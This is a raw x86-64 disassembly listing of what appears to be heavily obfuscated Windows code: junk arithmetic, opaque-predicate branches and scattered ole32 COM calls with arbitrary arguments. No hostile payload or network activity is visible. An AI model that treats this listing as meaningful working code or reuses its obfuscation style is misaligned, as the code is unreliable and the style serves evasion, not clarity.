mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2aa4]
sub edx, eax
cmp ecx, edx
jl 0x14000bb29
lea rax, [rbp + 0x608]
mov qword [rbp + 0x250b8], rax
mov rax, qword [rbp + 0x25198]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x70
je 0x14000bb09
cmp eax, 0x75
je 0x14000bb10
jmp 0x14000bb43
call fcn.14015baac
jmp 0x14000bb43
mov ecx, dword [rbp + 0x1970]
mov edx, dword [rbp + 0x5244]
mov rax, qword [rbp + 0x1c70]
add edx, ecx
mov dword [rax], edx
jmp 0x14000bb43
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov qword [rbp + 0x2e80], rax
jmp 0x14000bb43
nop
mov eax, dword [rbp + 0x361c]
test eax, eax
je 0x14000bb5e
cmp eax, 0x84399f6
je 0x14000bca1
jmp 0x14000bcd6
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
je 0x14000bb7d
cmp eax, 0x31
je 0x14000bc83
jmp 0x14000bcd6
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1278]
add rdx, rax
mov rcx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2e80]
sub rcx, rax
cmp rcx, rdx
jae 0x14000bc0c
lea r8, [rbp + 0x700]
lea rdx, [rbp + 0x10c0]
lea rax, [rbp + 0x4070]
mov dword [rsp + 0x28], 0x22
lea rcx, [rbp + 0x3d30]
mov qword [rsp + 0x20], rcx
mov r9d, 0x5a
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalInterface]
call rax
mov dword [rbp + 0x1338], eax
movzx eax, byte [0x140170318]
movzx edx, al
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2b68]
mov byte [rax], dl
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x5150]
mov word [rax], dx
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
xor edx, ecx
mov byte [rax], dl
lea rax, [rbp + 0x391f]
mov qword [rbp + 0x250c0], rax
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
or edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
jmp 0x14000bc9f
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4398]
and rax, rdx
mov qword [0x140170310], rax
nop
jmp 0x14000bcd6
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x1c00]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003f0b
nop
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25160]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x3cd8], eax
mov edx, dword [rbp + 0x6f78]
mov eax, dword [rbp + 0x6294]
sub edx, eax
mov dword [rbp + 0x4e40], edx
mov rax, qword [0x140175038]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2c82]
movzx eax, ax
add edx, eax
movzx ecx, word [rbp + 0x2ca]
movzx eax, word [rbp + 0x5160]
and eax, ecx
movzx eax, ax
cmp edx, eax
je 0x14000bdcc
lea rdx, [rbp + 0x3cd8]
lea rax, [rbp + 0x71f0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetCallContext]
call rax
mov dword [rbp + 0x1338], eax
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rdx, qword [rbp + 0x1278]
movabs rax, 0x261e10b8be994663
cmp rdx, rax
jne 0x14000bdb7
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
jmp 0x14000be33
mov edx, dword [rbp + 0x2b44]
mov eax, dword [rbp + 0x6294]
mov ecx, eax
call fcn.140003f0b
jmp 0x14000be33
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x2aa4]
sub edx, eax
cmp ecx, edx
jne 0x14000be33
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [0x140175044]
mov rax, qword [rbp + 0x15b8]
xor edx, ecx
mov word [rax], dx
lea rax, [rbp + 0x2a50]
mov rdx, rax
lea rax, str.Assistant
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_GetClassFile]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
cmp eax, 0xc2004010
je 0x14000be53
cmp eax, 0x43d9f11a
je 0x14000bf49
jmp 0x14000bf60
mov edx, dword [rbp + 0x2aa4]
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov r8d, edx
mov edx, dword [0x140175040]
mov eax, dword [rbp + 0x2b44]
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
je 0x14000bf5f
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1970]
or edx, eax
mov rax, qword [rbp + 0x24760]
mov ecx, dword [rax]
mov eax, dword [rbp + 0x361c]
and eax, ecx
cmp eax, edx
jae 0x14000bf1e
movzx eax, byte [rbp + 0xe69]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add eax, edx
mov byte [rbp + 0x391f], al
movzx edx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x175e]
lea rax, [rbp + 0x1c70]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleDoAutoConvert]
call rax
mov dword [rbp + 0x2474c], eax
movzx edx, word [0x14017031a]
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
jmp 0x14000bf5f
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x1c00]
and rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
lea rax, [rbp + 0x4398]
mov qword [rbp + 0x25178], rax
jmp 0x14000bf5f
mov edx, dword [rbp + 0x2b44]
mov eax, dword [rbp + 0x10f0]
sub edx, eax
mov dword [rbp + 0x6f78], edx
jmp 0x14000bf60
nop
lea rax, [rbp + 0x175e]
mov qword [rbp + 0x24740], rax
movzx edx, byte [rbp + 0x1007]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x3fc5], al
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
cmp eax, 0x178384
je 0x14000bfa4
cmp eax, 0x646b2cd3
je 0x14000c0e4
jmp 0x14000c4a4
lea rax, [rbp + 0x1a80]
mov rdx, rax
lea rax, str.consciousness
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
call rax
mov dword [rbp + 0x1338], eax
movzx edx, word [rbp + 0x2ca]
movzx ecx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x5150]
sub edx, ecx
mov word [rax], dx
mov eax, dword [rbp + 0x361c]
cmp eax, 0xb044a6cf
je 0x14000bffe
cmp eax, 0xbdf26081
je 0x14000c0cf
jmp 0x14000c13f
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [0x140170318]
or eax, edx
mov byte [rbp + 0x3525], al
mov rax, qword [rbp + 0x4ef8]
movabs rdx, 0x1dc7d711ecb247c3
cmp rax, rdx
je 0x14000c0ac
movabs rdx, 0x3fd1351e4ff1c056
cmp rax, rdx
jne 0x14000c0e1
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x1618]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x6310]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [0x140170310], rax
lea rdx, [rbp + 0x3cc8]
lea rax, [rbp + 0x1a80]
mov r8, rdx
mov edx, 0xd7
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleRegGetUserType]
call rax
mov dword [rbp + 0x1338], eax
jmp 0x14000c0cd
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
nop
jmp 0x14000c0e1
mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003793
jmp 0x14000c0e2
nop
jmp 0x14000c13f
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1970]
and eax, edx
mov dword [rbp + 0x5244], eax
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x175e]
movsx ecx, ax
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call fcn.140003b33
nop
jmp 0x14000c4a4
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x24740]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add eax, edx
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [0x140175038]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2c82], ax
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx edx, word [rbp + 0x2ca]
sub eax, edx
mov word [rbp + 0x2c82], ax
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6aa4]
mov rax, qword [rbp + 0x1c70]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x250b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rax, qword [rbp + 0x250a8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x4e40]
mov rax, qword [rbp + 0x4228]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
xor edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
movzx eax, word [rbp + 0x6e26]
movsx edx, ax
movzx eax, word [0x140175044]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x2b68]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
movzx ecx, byte [rbp + 0x3529]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
mov rax, qword [0x140175038]
movzx eax, word [rax]
movzx edx, word [rbp + 0x2c82]
sub eax, edx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
add rax, rdx
mov qword [rbp + 0x1278], rax
mov rax, qword [rbp + 0x250b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
add rax, rdx
mov qword [0x140175030], rax
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x10f0]
sub edx, eax
mov dword [rbp + 0x2aa4], edx
add dword [rbp + 0x25184], 0xf7
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66e4], edx
mov rax, qword [rbp + 0x24740]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
sub edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x2b68]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x719a], al
movzx edx, word [0x14017031a]
movzx eax, word [rbp + 0x2c82]
and eax, edx
mov word [rbp + 0x2ca], ax
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
xor eax, edx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x6a60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x25160]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x25160]
mov dword [rax], edx
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2c82]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [0x140175038]
mov word [rax], dx
mov rax, qword [rbp + 0x250b8]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
sub rdx, rax
mov qword [rbp + 0x1278], rdx
mov rax, qword [rbp + 0x15b8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x175e]
and edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x719a], al
movzx eax, byte [rbp + 0xe69]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add edx, eax
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
cmp dword [rbp + 0x25184], 0x504f
jbe 0x14000c144
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x1278]
sub rdx, rax
cmp rcx, rdx
jae 0x14000c5cf
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x8b
jne 0x14000c5ad
lea rax, [rbp + 0x1618]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetContextToken]
call rax
mov dword [rbp + 0x2473c], eax
mov rax, qword [0x140175038]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x2ca], ax
movzx eax, byte [rbp + 0x391f]
mov edx, eax
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
lea rdx, [rbp + 0x4278]
lea rax, [rbp + 0xb80]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x51
mov edx, 0x6a
mov ecx, 7
mov rax, qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
call rax
mov dword [rbp + 0x165c], eax
mov rax, qword [rbp + 0x2b68]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
or edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
jmp 0x14000c638
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [0x140170328], rax
jmp 0x14000c638
mov rax, qword [rbp + 0x3220]
lea rcx, [rbp + 0x63a0]
lea rdx, [rbp + 0x4228]
mov r9, rcx
mov r8, rdx
mov edx, 0xc4
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_IsAccelerator]
call rax
mov dword [rbp + 0x24770], eax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2aa4]
xor eax, edx
mov dword [rbp + 0x6f78], eax
mov rdx, qword [rbp + 0x608]
mov rax, qword [rbp + 0x250b8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
lea rax, [rbp + 0x2e80]
mov qword [rbp + 0x4730], rax
mov rax, qword [rbp + 0x5308]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x391f]
and eax, edx
movsx edx, al
movzx eax, byte [rbp + 0xe69]
movsx ecx, al
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
movsx eax, al
add eax, ecx
cmp edx, eax
jne 0x14000c75c
lea rax, [rbp + 0x5244]
mov qword [rbp + 0x25100], rax
mov dword [rbp + 0x25180], 0xc9a9
movzx eax, word [rbp + 0x5160]
movzx eax, ax
test eax, eax
je 0x14000c6b3
cmp eax, 0x8ec
je 0x14000c73a
jmp 0x14000cb2a
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x391f]
movsx edx, al
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
je 0x14000c71c
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
cmp eax, 0x64393d79
jne 0x14000c702
call fcn.14015bdf7
jmp 0x14000c71c
lea rax, [rbp + 0xb80]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoDisableCallCancellation]
call rax
mov dword [rbp + 0x165c], eax
nop
movzx eax, word [0x140175044]
mov edx, eax
movzx eax, word [rbp + 0x2142]
add eax, edx
mov word [rbp + 0x175e], ax
jmp 0x14000c7e8
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x6e50]
add edx, ecx
mov word [rax], dx
jmp 0x14000c7e8
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add eax, edx
mov byte [rbp + 0x391f], al
lea r9, [rbp + 0x6e26]
lea r8, [rbp + 0xe30]
lea rdx, [rbp + 0x3fa0]
lea rax, [rbp + 0x4070]
lea rcx, [rbp + 0x1c00]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x5150]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x41d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoQueryClientBlanket]
call rax
mov dword [rbp + 0x24758], eax
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
xor edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
jmp 0x14000cb2a
movzx eax, word [rbp + 0x2c82]
movzx edx, ax
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6aa4]
or eax, edx
mov dword [rbp + 0x3cd8], eax
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x3cc8], rax
mov edx, dword [rbp + 0x4e40]
mov eax, dword [0x140170320]
and eax, edx
mov dword [rbp + 0x2b44], eax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x250b8]
mov qword [rax], rdx
movzx eax, byte [rbp + 0xe69]
mov edx, eax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x391f], al
movzx edx, byte [rbp + 0x3fc5]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x250c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x25088]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6e26]
and edx, eax
mov rax, qword [rbp + 0x24740]
mov word [rax], dx
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx edx, word [rbp + 0x5160]
sub eax, edx
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov eax, dword [rbp + 0x361c]
sub edx, eax
mov rax, qword [rbp + 0x24760]
mov dword [rax], edx
mov edx, dword [rbp + 0x4e40]
mov eax, dword [rbp + 0x6f78]
sub edx, eax
mov dword [rbp + 0x2aa4], edx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1c00]
add rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x2b68]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5160]
xor eax, edx
mov word [rbp + 0x2c82], ax
movzx eax, word [rbp + 0x6e26]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x2142], ax
mov rax, qword [rbp + 0x1618]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x391f]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
sub dword [rbp + 0x2515c], 0x6a
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [0x140170320]
sub edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x3cc8]
add rax, rdx
mov qword [rbp + 0x1278], rax
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6aa4]
mov rax, qword [rbp + 0x1c70]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [0x140175030]
mov rax, qword [rbp + 0x24768]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x608], rdx
movzx edx, byte [rbp + 0x3fc5]
movzx eax, byte [rbp + 0x3525]
and eax, edx
mov byte [rbp + 0x719a], al
movzx eax, word [rbp + 0x5160]
movzx ecx, word [rbp + 0x2c82]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x2e48]
mov word [rax], dx
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
xor eax, edx
mov byte [0x140170318], al
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x4730]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, qword [rbp + 0x25178]
mov qword [rax], rdx
cmp dword [rbp + 0x2515c], 0x727d
ja 0x14000c7ed
lea rax, [0x140175040]
mov qword [rbp + 0xfa8], rax
mov eax, dword [rbp + 0x6aa4]
mov dword [rbp + 0x114], eax
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4e40]
or edx, eax
mov r8d, edx
mov rax, qword [rbp + 0xfa8]
mov edx, dword [rax]
mov eax, dword [0x140170320]
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
jle 0x14015ae93
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x66e4]
or eax, edx
mov dword [rbp + 0x3cd8], eax
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2b44]
mov rax, qword [rbp + 0xfa8]
xor edx, ecx
mov dword [rax], edx
add dword [rbp + 0x2511c], 0x3d
mov rax, qword [rbp + 0x1c00]
mov rdx, qword [0x140175030]
mov ecx, edx
sar rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0xe69]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x391f], al
movzx eax, byte [rbp + 0x719a]
movzx edx, byte [rbp + 0x3525]
sub eax, edx
mov byte [rbp + 0x1007], al
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
and edx, eax
mov rax, qword [rbp + 0x24740]
mov word [rax], dx
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
add eax, edx
mov word [0x14017031a], ax
mov edx, dword [rbp + 0x10f0]
mov rax, qword [rbp + 0xfa8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x2aa4], edx
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [0x140170310]
add rax, rdx
mov qword [rbp + 0x2e80], rax
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x6aa4], eax
mov rax, qword [rbp + 0x250b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [0x140175044]
add edx, eax
mov rax, qword [rbp + 0x2e48]
mov word [rax], dx
mov rax, qword [rbp + 0x6a60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x250c0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x1007]
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x3525], al
movzx edx, byte [rbp + 0x391f]
movzx eax, byte [rbp + 0xe69]
xor eax, edx
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
or eax, edx
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x6aa4], eax
